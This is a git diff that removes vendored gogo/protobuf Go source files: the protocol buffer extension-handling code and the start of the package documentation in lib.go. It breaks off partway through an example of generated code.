deleted file mode 100644 index 341c6f57..00000000 --- a/vendor/github.com/gogo/protobuf/proto/extensions.go +++ /dev/null @@ -1,605 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Types and routines for supporting protocol buffer extensions. - */ - -import ( - "errors" - "fmt" - "io" - "reflect" - "strconv" - "sync" -) - -// ErrMissingExtension is the error returned by GetExtension if the named extension is not in the message. -var ErrMissingExtension = errors.New("proto: missing extension") - -// ExtensionRange represents a range of message extensions for a protocol buffer. -// Used in code generated by the protocol compiler. -type ExtensionRange struct { - Start, End int32 // both inclusive -} - -// extendableProto is an interface implemented by any protocol buffer generated by the current -// proto compiler that may be extended. -type extendableProto interface { - Message - ExtensionRangeArray() []ExtensionRange - extensionsWrite() map[int32]Extension - extensionsRead() (map[int32]Extension, sync.Locker) -} - -// extendableProtoV1 is an interface implemented by a protocol buffer generated by the previous -// version of the proto compiler that may be extended. -type extendableProtoV1 interface { - Message - ExtensionRangeArray() []ExtensionRange - ExtensionMap() map[int32]Extension -} - -// extensionAdapter is a wrapper around extendableProtoV1 that implements extendableProto. -type extensionAdapter struct { - extendableProtoV1 -} - -func (e extensionAdapter) extensionsWrite() map[int32]Extension { - return e.ExtensionMap() -} - -func (e extensionAdapter) extensionsRead() (map[int32]Extension, sync.Locker) { - return e.ExtensionMap(), notLocker{} -} - -// notLocker is a sync.Locker whose Lock and Unlock methods are nops. -type notLocker struct{} - -func (n notLocker) Lock() {} -func (n notLocker) Unlock() {} - -// extendable returns the extendableProto interface for the given generated proto message. -// If the proto message has the old extension format, it returns a wrapper that implements -// the extendableProto interface. -func extendable(p interface{}) (extendableProto, error) { - switch p := p.(type) { - case extendableProto: - if isNilPtr(p) { - return nil, fmt.Errorf("proto: nil %T is not extendable", p) - } - return p, nil - case extendableProtoV1: - if isNilPtr(p) { - return nil, fmt.Errorf("proto: nil %T is not extendable", p) - } - return extensionAdapter{p}, nil - case extensionsBytes: - return slowExtensionAdapter{p}, nil - } - // Don't allocate a specific error containing %T: - // this is the hot path for Clone and MarshalText. - return nil, errNotExtendable -} - -var errNotExtendable = errors.New("proto: not an extendable proto.Message") - -func isNilPtr(x interface{}) bool { - v := reflect.ValueOf(x) - return v.Kind() == reflect.Ptr && v.IsNil() -} - -// XXX_InternalExtensions is an internal representation of proto extensions. -// -// Each generated message struct type embeds an anonymous XXX_InternalExtensions field, -// thus gaining the unexported 'extensions' method, which can be called only from the proto package. -// -// The methods of XXX_InternalExtensions are not concurrency safe in general, -// but calls to logically read-only methods such as has and get may be executed concurrently. -type XXX_InternalExtensions struct { - // The struct must be indirect so that if a user inadvertently copies a - // generated message and its embedded XXX_InternalExtensions, they - // avoid the mayhem of a copied mutex. - // - // The mutex serializes all logically read-only operations to p.extensionMap. - // It is up to the client to ensure that write operations to p.extensionMap are - // mutually exclusive with other accesses. - p *struct { - mu sync.Mutex - extensionMap map[int32]Extension - } -} - -// extensionsWrite returns the extension map, creating it on first use. -func (e *XXX_InternalExtensions) extensionsWrite() map[int32]Extension { - if e.p == nil { - e.p = new(struct { - mu sync.Mutex - extensionMap map[int32]Extension - }) - e.p.extensionMap = make(map[int32]Extension) - } - return e.p.extensionMap -} - -// extensionsRead returns the extensions map for read-only use. It may be nil. -// The caller must hold the returned mutex's lock when accessing Elements within the map. -func (e *XXX_InternalExtensions) extensionsRead() (map[int32]Extension, sync.Locker) { - if e.p == nil { - return nil, nil - } - return e.p.extensionMap, &e.p.mu -} - -// ExtensionDesc represents an extension specification. -// Used in generated code from the protocol compiler. -type ExtensionDesc struct { - ExtendedType Message // nil pointer to the type that is being extended - ExtensionType interface{} // nil pointer to the extension type - Field int32 // field number - Name string // fully-qualified name of extension, for text formatting - Tag string // protobuf tag style - Filename string // name of the file in which the extension is defined -} - -func (ed *ExtensionDesc) repeated() bool { - t := reflect.TypeOf(ed.ExtensionType) - return t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 -} - -// Extension represents an extension in a message. -type Extension struct { - // When an extension is stored in a message using SetExtension - // only desc and value are set. When the message is marshaled - // enc will be set to the encoded form of the message. - // - // When a message is unmarshaled and contains extensions, each - // extension will have only enc set. When such an extension is - // accessed using GetExtension (or GetExtensions) desc and value - // will be set. - desc *ExtensionDesc - value interface{} - enc []byte -} - -// SetRawExtension is for testing only. -func SetRawExtension(base Message, id int32, b []byte) { - if ebase, ok := base.(extensionsBytes); ok { - clearExtension(base, id) - ext := ebase.GetExtensions() - *ext = append(*ext, b...) - return - } - epb, err := extendable(base) - if err != nil { - return - } - extmap := epb.extensionsWrite() - extmap[id] = Extension{enc: b} -} - -// isExtensionField returns true iff the given field number is in an extension range. -func isExtensionField(pb extendableProto, field int32) bool { - for _, er := range pb.ExtensionRangeArray() { - if er.Start <= field && field <= er.End { - return true - } - } - return false -} - -// checkExtensionTypes checks that the given extension is valid for pb. -func checkExtensionTypes(pb extendableProto, extension *ExtensionDesc) error { - var pbi interface{} = pb - // Check the extended type. - if ea, ok := pbi.(extensionAdapter); ok { - pbi = ea.extendableProtoV1 - } - if ea, ok := pbi.(slowExtensionAdapter); ok { - pbi = ea.extensionsBytes - } - if a, b := reflect.TypeOf(pbi), reflect.TypeOf(extension.ExtendedType); a != b { - return fmt.Errorf("proto: bad extended type; %v does not extend %v", b, a) - } - // Check the range. - if !isExtensionField(pb, extension.Field) { - return errors.New("proto: bad extension number; not in declared ranges") - } - return nil -} - -// extPropKey is sufficient to uniquely identify an extension. -type extPropKey struct { - base reflect.Type - field int32 -} - -var extProp = struct { - sync.RWMutex - m map[extPropKey]*Properties -}{ - m: make(map[extPropKey]*Properties), -} - -func extensionProperties(ed *ExtensionDesc) *Properties { - key := extPropKey{base: reflect.TypeOf(ed.ExtendedType), field: ed.Field} - - extProp.RLock() - if prop, ok := extProp.m[key]; ok { - extProp.RUnlock() - return prop - } - extProp.RUnlock() - - extProp.Lock() - defer extProp.Unlock() - // Check again. - if prop, ok := extProp.m[key]; ok { - return prop - } - - prop := new(Properties) - prop.Init(reflect.TypeOf(ed.ExtensionType), "unknown_name", ed.Tag, nil) - extProp.m[key] = prop - return prop -} - -// HasExtension returns whether the given extension is present in pb. -func HasExtension(pb Message, extension *ExtensionDesc) bool { - if epb, doki := pb.(extensionsBytes); doki { - ext := epb.GetExtensions() - buf := *ext - o := 0 - for o < len(buf) { - tag, n := DecodeVarint(buf[o:]) - fieldNum := int32(tag >> 3) - if int32(fieldNum) == extension.Field { - return true - } - wireType := int(tag & 0x7) - o += n - l, err := size(buf[o:], wireType) - if err != nil { - return false - } - o += l - } - return false - } - // TODO: Check types, field numbers, etc.? - epb, err := extendable(pb) - if err != nil { - return false - } - extmap, mu := epb.extensionsRead() - if extmap == nil { - return false - } - mu.Lock() - _, ok := extmap[extension.Field] - mu.Unlock() - return ok -} - -// ClearExtension removes the given extension from pb. -func ClearExtension(pb Message, extension *ExtensionDesc) { - clearExtension(pb, extension.Field) -} - -func clearExtension(pb Message, fieldNum int32) { - if epb, ok := pb.(extensionsBytes); ok { - offset := 0 - for offset != -1 { - offset = deleteExtension(epb, fieldNum, offset) - } - return - } - epb, err := extendable(pb) - if err != nil { - return - } - // TODO: Check types, field numbers, etc.? - extmap := epb.extensionsWrite() - delete(extmap, fieldNum) -} - -// GetExtension retrieves a proto2 extended field from pb. -// -// If the descriptor is type complete (i.e., ExtensionDesc.ExtensionType is non-nil), -// then GetExtension parses the encoded field and returns a Go value of the specified type. -// If the field is not present, then the default value is returned (if one is specified), -// otherwise ErrMissingExtension is reported. -// -// If the descriptor is not type complete (i.e., ExtensionDesc.ExtensionType is nil), -// then GetExtension returns the raw encoded bytes of the field extension. -func GetExtension(pb Message, extension *ExtensionDesc) (interface{}, error) { - if epb, doki := pb.(extensionsBytes); doki { - ext := epb.GetExtensions() - return decodeExtensionFromBytes(extension, *ext) - } - - epb, err := extendable(pb) - if err != nil { - return nil, err - } - - if extension.ExtendedType != nil { - // can only check type if this is a complete descriptor - if cerr := checkExtensionTypes(epb, extension); cerr != nil { - return nil, cerr - } - } - - emap, mu := epb.extensionsRead() - if emap == nil { - return defaultExtensionValue(extension) - } - mu.Lock() - defer mu.Unlock() - e, ok := emap[extension.Field] - if !ok { - // defaultExtensionValue returns the default value or - // ErrMissingExtension if there is no default. - return defaultExtensionValue(extension) - } - - if e.value != nil { - // Already decoded. Check the descriptor, though. - if e.desc != extension { - // This shouldn't happen. If it does, it means that - // GetExtension was called twice with two different - // descriptors with the same field number. - return nil, errors.New("proto: descriptor conflict") - } - return e.value, nil - } - - if extension.ExtensionType == nil { - // incomplete descriptor - return e.enc, nil - } - - v, err := decodeExtension(e.enc, extension) - if err != nil { - return nil, err - } - - // Remember the decoded version and drop the encoded version. - // That way it is safe to mutate what we return. - e.value = v - e.desc = extension - e.enc = nil - emap[extension.Field] = e - return e.value, nil -} - -// defaultExtensionValue returns the default value for extension. -// If no default for an extension is defined ErrMissingExtension is returned. -func defaultExtensionValue(extension *ExtensionDesc) (interface{}, error) { - if extension.ExtensionType == nil { - // incomplete descriptor, so no default - return nil, ErrMissingExtension - } - - t := reflect.TypeOf(extension.ExtensionType) - props := extensionProperties(extension) - - sf, _, err := fieldDefault(t, props) - if err != nil { - return nil, err - } - - if sf == nil || sf.value == nil { - // There is no default value. - return nil, ErrMissingExtension - } - - if t.Kind() != reflect.Ptr { - // We do not need to return a Ptr, we can directly return sf.value. - return sf.value, nil - } - - // We need to return an interface{} that is a pointer to sf.value. - value := reflect.New(t).Elem() - value.Set(reflect.New(value.Type().Elem())) - if sf.kind == reflect.Int32 { - // We may have an int32 or an enum, but the underlying data is int32. - // Since we can't set an int32 into a non int32 reflect.value directly - // set it as a int32. - value.Elem().SetInt(int64(sf.value.(int32))) - } else { - value.Elem().Set(reflect.ValueOf(sf.value)) - } - return value.Interface(), nil -} - -// decodeExtension decodes an extension encoded in b. -func decodeExtension(b []byte, extension *ExtensionDesc) (interface{}, error) { - t := reflect.TypeOf(extension.ExtensionType) - unmarshal := typeUnmarshaler(t, extension.Tag) - - // t is a pointer to a struct, pointer to basic type or a slice. - // Allocate space to store the pointer/slice. - value := reflect.New(t).Elem() - - var err error - for { - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - wire := int(x) & 7 - - b, err = unmarshal(b, valToPointer(value.Addr()), wire) - if err != nil { - return nil, err - } - - if len(b) == 0 { - break - } - } - return value.Interface(), nil -} - -// GetExtensions returns a slice of the extensions present in pb that are also listed in es. -// The returned slice has the same length as es; missing extensions will appear as nil elements. -func GetExtensions(pb Message, es []*ExtensionDesc) (extensions []interface{}, err error) { - epb, err := extendable(pb) - if err != nil { - return nil, err - } - extensions = make([]interface{}, len(es)) - for i, e := range es { - extensions[i], err = GetExtension(epb, e) - if err == ErrMissingExtension { - err = nil - } - if err != nil { - return - } - } - return -} - -// ExtensionDescs returns a new slice containing pb's extension descriptors, in undefined order. -// For non-registered extensions, ExtensionDescs returns an incomplete descriptor containing -// just the Field field, which defines the extension's field number. -func ExtensionDescs(pb Message) ([]*ExtensionDesc, error) { - epb, err := extendable(pb) - if err != nil { - return nil, err - } - registeredExtensions := RegisteredExtensions(pb) - - emap, mu := epb.extensionsRead() - if emap == nil { - return nil, nil - } - mu.Lock() - defer mu.Unlock() - extensions := make([]*ExtensionDesc, 0, len(emap)) - for extid, e := range emap { - desc := e.desc - if desc == nil { - desc = registeredExtensions[extid] - if desc == nil { - desc = &ExtensionDesc{Field: extid} - } - } - - extensions = append(extensions, desc) - } - return extensions, nil -} - -// SetExtension sets the specified extension of pb to the specified value. -func SetExtension(pb Message, extension *ExtensionDesc, value interface{}) error { - if epb, ok := pb.(extensionsBytes); ok { - ClearExtension(pb, extension) - newb, err := encodeExtension(extension, value) - if err != nil { - return err - } - bb := epb.GetExtensions() - *bb = append(*bb, newb...) - return nil - } - epb, err := extendable(pb) - if err != nil { - return err - } - if err := checkExtensionTypes(epb, extension); err != nil { - return err - } - typ := reflect.TypeOf(extension.ExtensionType) - if typ != reflect.TypeOf(value) { - return fmt.Errorf("proto: bad extension value type. got: %T, want: %T", value, extension.ExtensionType) - } - // nil extension values need to be caught early, because the - // encoder can't distinguish an ErrNil due to a nil extension - // from an ErrNil due to a missing field. Extensions are - // always optional, so the encoder would just swallow the error - // and drop all the extensions from the encoded message. - if reflect.ValueOf(value).IsNil() { - return fmt.Errorf("proto: SetExtension called with nil value of type %T", value) - } - - extmap := epb.extensionsWrite() - extmap[extension.Field] = Extension{desc: extension, value: value} - return nil -} - -// ClearAllExtensions clears all extensions from pb. -func ClearAllExtensions(pb Message) { - if epb, doki := pb.(extensionsBytes); doki { - ext := epb.GetExtensions() - *ext = []byte{} - return - } - epb, err := extendable(pb) - if err != nil { - return - } - m := epb.extensionsWrite() - for k := range m { - delete(m, k) - } -} - -// A global registry of extensions. -// The generated code will register the generated descriptors by calling RegisterExtension. - -var extensionMaps = make(map[reflect.Type]map[int32]*ExtensionDesc) - -// RegisterExtension is called from the generated code. -func RegisterExtension(desc *ExtensionDesc) { - st := reflect.TypeOf(desc.ExtendedType).Elem() - m := extensionMaps[st] - if m == nil { - m = make(map[int32]*ExtensionDesc) - extensionMaps[st] = m - } - if _, ok := m[desc.Field]; ok { - panic("proto: duplicate extension registered: " + st.String() + " " + strconv.Itoa(int(desc.Field))) - } - m[desc.Field] = desc -} - -// RegisteredExtensions returns a map of the registered extensions of a -// protocol buffer struct, indexed by the extension number. -// The argument pb should be a nil pointer to the struct type. -func RegisteredExtensions(pb Message) map[int32]*ExtensionDesc { - return extensionMaps[reflect.TypeOf(pb).Elem()] -} diff --git a/vendor/github.com/gogo/protobuf/proto/extensions_gogo.go b/vendor/github.com/gogo/protobuf/proto/extensions_gogo.go deleted file mode 100644 index 6f1ae120..00000000 --- a/vendor/github.com/gogo/protobuf/proto/extensions_gogo.go +++ /dev/null @@ -1,389 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "bytes" - "errors" - "fmt" - "io" - "reflect" - "sort" - "strings" - "sync" -) - -type extensionsBytes interface { - Message - ExtensionRangeArray() []ExtensionRange - GetExtensions() *[]byte -} - -type slowExtensionAdapter struct { - extensionsBytes -} - -func (s slowExtensionAdapter) extensionsWrite() map[int32]Extension { - panic("Please report a bug to github.com/gogo/protobuf if you see this message: Writing extensions is not supported for extensions stored in a byte slice field.") -} - -func (s slowExtensionAdapter) extensionsRead() (map[int32]Extension, sync.Locker) { - b := s.GetExtensions() - m, err := BytesToExtensionsMap(*b) - if err != nil { - panic(err) - } - return m, notLocker{} -} - -func GetBoolExtension(pb Message, extension *ExtensionDesc, ifnotset bool) bool { - if reflect.ValueOf(pb).IsNil() { - return ifnotset - } - value, err := GetExtension(pb, extension) - if err != nil { - return ifnotset - } - if value == nil { - return ifnotset - } - if value.(*bool) == nil { - return ifnotset - } - return *(value.(*bool)) -} - -func (this *Extension) Equal(that *Extension) bool { - if err := this.Encode(); err != nil { - return false - } - if err := that.Encode(); err != nil { - return false - } - return bytes.Equal(this.enc, that.enc) -} - -func (this *Extension) Compare(that *Extension) int { - if err := this.Encode(); err != nil { - return 1 - } - if err := that.Encode(); err != nil { - return -1 - } - return bytes.Compare(this.enc, that.enc) -} - -func SizeOfInternalExtension(m extendableProto) (n int) { - info := getMarshalInfo(reflect.TypeOf(m)) - return info.sizeV1Extensions(m.extensionsWrite()) -} - -type sortableMapElem struct { - field int32 - ext Extension -} - -func newSortableExtensionsFromMap(m map[int32]Extension) sortableExtensions { - s := make(sortableExtensions, 0, len(m)) - for k, v := range m { - s = append(s, &sortableMapElem{field: k, ext: v}) - } - return s -} - -type sortableExtensions []*sortableMapElem - -func (this sortableExtensions) Len() int { return len(this) } - -func (this sortableExtensions) Swap(i, j int) { this[i], this[j] = this[j], this[i] } - -func (this sortableExtensions) Less(i, j int) bool { return this[i].field < this[j].field } - -func (this sortableExtensions) String() string { - sort.Sort(this) - ss := make([]string, len(this)) - for i := range this { - ss[i] = fmt.Sprintf("%d: %v", this[i].field, this[i].ext) - } - return "map[" + strings.Join(ss, ",") + "]" -} - -func StringFromInternalExtension(m extendableProto) string { - return StringFromExtensionsMap(m.extensionsWrite()) -} - -func StringFromExtensionsMap(m map[int32]Extension) string { - return newSortableExtensionsFromMap(m).String() -} - -func StringFromExtensionsBytes(ext []byte) string { - m, err := BytesToExtensionsMap(ext) - if err != nil { - panic(err) - } - return StringFromExtensionsMap(m) -} - -func EncodeInternalExtension(m extendableProto, data []byte) (n int, err error) { - return EncodeExtensionMap(m.extensionsWrite(), data) -} - -func EncodeInternalExtensionBackwards(m extendableProto, data []byte) (n int, err error) { - return EncodeExtensionMapBackwards(m.extensionsWrite(), data) -} - -func EncodeExtensionMap(m map[int32]Extension, data []byte) (n int, err error) { - o := 0 - for _, e := range m { - if err := e.Encode(); err != nil { - return 0, err - } - n := copy(data[o:], e.enc) - if n != len(e.enc) { - return 0, io.ErrShortBuffer - } - o += n - } - return o, nil -} - -func EncodeExtensionMapBackwards(m map[int32]Extension, data []byte) (n int, err error) { - o := 0 - end := len(data) - for _, e := range m { - if err := e.Encode(); err != nil { - return 0, err - } - n := copy(data[end-len(e.enc):], e.enc) - if n != len(e.enc) { - return 0, io.ErrShortBuffer - } - end -= n - o += n - } - return o, nil -} - -func GetRawExtension(m map[int32]Extension, id int32) ([]byte, error) { - e := m[id] - if err := e.Encode(); err != nil { - return nil, err - } - return e.enc, nil -} - -func size(buf []byte, wire int) (int, error) { - switch wire { - case WireVarint: - _, n := DecodeVarint(buf) - return n, nil - case WireFixed64: - return 8, nil - case WireBytes: - v, n := DecodeVarint(buf) - return int(v) + n, nil - case WireFixed32: - return 4, nil - case WireStartGroup: - offset := 0 - for { - u, n := DecodeVarint(buf[offset:]) - fwire := int(u & 0x7) - offset += n - if fwire == WireEndGroup { - return offset, nil - } - s, err := size(buf[offset:], wire) - if err != nil { - return 0, err - } - offset += s - } - } - return 0, fmt.Errorf("proto: can't get size for unknown wire type %d", wire) -} - -func BytesToExtensionsMap(buf []byte) (map[int32]Extension, error) { - m := make(map[int32]Extension) - i := 0 - for i < len(buf) { - tag, n := DecodeVarint(buf[i:]) - if n <= 0 { - return nil, fmt.Errorf("unable to decode varint") - } - fieldNum := int32(tag >> 3) - wireType := int(tag & 0x7) - l, err := size(buf[i+n:], wireType) - if err != nil { - return nil, err - } - end := i + int(l) + n - m[int32(fieldNum)] = Extension{enc: buf[i:end]} - i = end - } - return m, nil -} - -func NewExtension(e []byte) Extension { - ee := Extension{enc: make([]byte, len(e))} - copy(ee.enc, e) - return ee -} - -func AppendExtension(e Message, tag int32, buf []byte) { - if ee, eok := e.(extensionsBytes); eok { - ext := ee.GetExtensions() - *ext = append(*ext, buf...) - return - } - if ee, eok := e.(extendableProto); eok { - m := ee.extensionsWrite() - ext := m[int32(tag)] // may be missing - ext.enc = append(ext.enc, buf...) - m[int32(tag)] = ext - } -} - -func encodeExtension(extension *ExtensionDesc, value interface{}) ([]byte, error) { - u := getMarshalInfo(reflect.TypeOf(extension.ExtendedType)) - ei := u.getExtElemInfo(extension) - v := value - p := toAddrPointer(&v, ei.isptr) - siz := ei.sizer(p, SizeVarint(ei.wiretag)) - buf := make([]byte, 0, siz) - return ei.marshaler(buf, p, ei.wiretag, false) -} - -func decodeExtensionFromBytes(extension *ExtensionDesc, buf []byte) (interface{}, error) { - o := 0 - for o < len(buf) { - tag, n := DecodeVarint((buf)[o:]) - fieldNum := int32(tag >> 3) - wireType := int(tag & 0x7) - if o+n > len(buf) { - return nil, fmt.Errorf("unable to decode extension") - } - l, err := size((buf)[o+n:], wireType) - if err != nil { - return nil, err - } - if int32(fieldNum) == extension.Field { - if o+n+l > len(buf) { - return nil, fmt.Errorf("unable to decode extension") - } - v, err := decodeExtension((buf)[o:o+n+l], extension) - if err != nil { - return nil, err - } - return v, nil - } - o += n + l - } - return defaultExtensionValue(extension) -} - -func (this *Extension) Encode() error { - if this.enc == nil { - var err error - this.enc, err = encodeExtension(this.desc, this.value) - if err != nil { - return err - } - } - return nil -} - -func (this Extension) GoString() string { - if err := this.Encode(); err != nil { - return fmt.Sprintf("error encoding extension: %v", err) - } - return fmt.Sprintf("proto.NewExtension(%#v)", this.enc) -} - -func SetUnsafeExtension(pb Message, fieldNum int32, value interface{}) error { - typ := reflect.TypeOf(pb).Elem() - ext, ok := extensionMaps[typ] - if !ok { - return fmt.Errorf("proto: bad extended type; %s is not extendable", typ.String()) - } - desc, ok := ext[fieldNum] - if !ok { - return errors.New("proto: bad extension number; not in declared ranges") - } - return SetExtension(pb, desc, value) -} - -func GetUnsafeExtension(pb Message, fieldNum int32) (interface{}, error) { - typ := reflect.TypeOf(pb).Elem() - ext, ok := extensionMaps[typ] - if !ok { - return nil, fmt.Errorf("proto: bad extended type; %s is not extendable", typ.String()) - } - desc, ok := ext[fieldNum] - if !ok { - return nil, fmt.Errorf("unregistered field number %d", fieldNum) - } - return GetExtension(pb, desc) -} - -func NewUnsafeXXX_InternalExtensions(m map[int32]Extension) XXX_InternalExtensions { - x := &XXX_InternalExtensions{ - p: new(struct { - mu sync.Mutex - extensionMap map[int32]Extension - }), - } - x.p.extensionMap = m - return *x -} - -func GetUnsafeExtensionsMap(extendable Message) map[int32]Extension { - pb := extendable.(extendableProto) - return pb.extensionsWrite() -} - -func deleteExtension(pb extensionsBytes, theFieldNum int32, offset int) int { - ext := pb.GetExtensions() - for offset < len(*ext) { - tag, n1 := DecodeVarint((*ext)[offset:]) - fieldNum := int32(tag >> 3) - wireType := int(tag & 0x7) - n2, err := size((*ext)[offset+n1:], wireType) - if err != nil { - panic(err) - } - newOffset := offset + n1 + n2 - if fieldNum == theFieldNum { - *ext = append((*ext)[:offset], (*ext)[newOffset:]...) - return offset - } - offset = newOffset - } - return -1 -} diff --git a/vendor/github.com/gogo/protobuf/proto/lib.go b/vendor/github.com/gogo/protobuf/proto/lib.go deleted file mode 100644 index 80db1c15..00000000 --- a/vendor/github.com/gogo/protobuf/proto/lib.go +++ /dev/null @@ -1,973 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -/* -Package proto converts data structures to and from the wire format of -protocol buffers. It works in concert with the Go source code generated -for .proto files by the protocol compiler. - -A summary of the properties of the protocol buffer interface -for a protocol buffer variable v: - - - Names are turned from camel_case to CamelCase for export. - - There are no methods on v to set fields; just treat - them as structure fields. - - There are getters that return a field's value if set, - and return the field's default value if unset. - The getters work even if the receiver is a nil message. - - The zero value for a struct is its correct initialization state. - All desired fields must be set before marshaling. - - A Reset() method will restore a protobuf struct to its zero state. - - Non-repeated fields are pointers to the values; nil means unset. - That is, optional or required field int32 f becomes F *int32. - - Repeated fields are slices. - - Helper functions are available to aid the setting of fields. - msg.Foo = proto.String("hello") // set field - - Constants are defined to hold the default values of all fields that - have them. They have the form Default_StructName_FieldName. - Because the getter methods handle defaulted values, - direct use of these constants should be rare. - - Enums are given type names and maps from names to values. - Enum values are prefixed by the enclosing message's name, or by the - enum's type name if it is a top-level enum. Enum types have a String - method, and a Enum method to assist in message construction. - - Nested messages, groups and enums have type names prefixed with the name of - the surrounding message type. - - Extensions are given descriptor names that start with E_, - followed by an underscore-delimited list of the nested messages - that contain it (if any) followed by the CamelCased name of the - extension field itself. HasExtension, ClearExtension, GetExtension - and SetExtension are functions for manipulating extensions. - - Oneof field sets are given a single field in their message, - with distinguished wrapper types for each possible field value. - - Marshal and Unmarshal are functions to encode and decode the wire format. - -When the .proto file specifies `syntax="proto3"`, there are some differences: - - - Non-repeated fields of non-message type are values instead of pointers. - - Enum types do not get an Enum method. - -The simplest way to describe this is to see an example. -Given file test.proto, containing - - package example; - - enum FOO { X = 17; } - - message Test { - required string label = 1; - optional int32 type = 2 [default=77]; - repeated int64 reps = 3; - optional group OptionalGroup = 4 { - required string RequiredField = 5; - } - oneof union { - int32 number = 6; - string name = 7; - } - } - -The resulting file, test.pb.go, is: - - package example - - import proto "github.com/gogo/protobuf/proto" - import math "math" - - type FOO int32 - const ( - FOO_X FOO = 17 - ) - var FOO_name = map[int32]string{ - 17: "X", - } - var FOO_value = map[string]int32{ - "X": 17, - } - - func (x FOO) Enum() *FOO { - p := new(FOO) - *p = x - return p - } - func (x FOO) String() string { - return proto.EnumName(FOO_name, int32(x)) - } - func (x *FOO) UnmarshalJSON(data []byte) error { - value, err := proto.UnmarshalJSONEnum(FOO_value, data) - if err != nil { - return err - } - *x = FOO(value) - return nil - } - - type Test struct { - Label *string `protobuf:"bytes,1,req,name=label" json:"label,omitempty"` - Type *int32 `protobuf:"varint,2,opt,name=type,def=77" json:"type,omitempty"` - Reps []int64 `protobuf:"varint,3,rep,name=reps" json:"reps,omitempty"` - Optionalgroup *Test_OptionalGroup `protobuf:"group,4,opt,name=OptionalGroup" json:"optionalgroup,omitempty"` - // Types that are valid to be assigned to Union: - // *Test_Number - // *Test_Name - Union isTest_Union `protobuf_oneof:"union"` - XXX_unrecognized []byte `json:"-"` - } - func (m *Test) Reset() { *m = Test{} } - func (m *Test) String() string { return proto.CompactTextString(m) } - func (*Test) ProtoMessage() {} - - 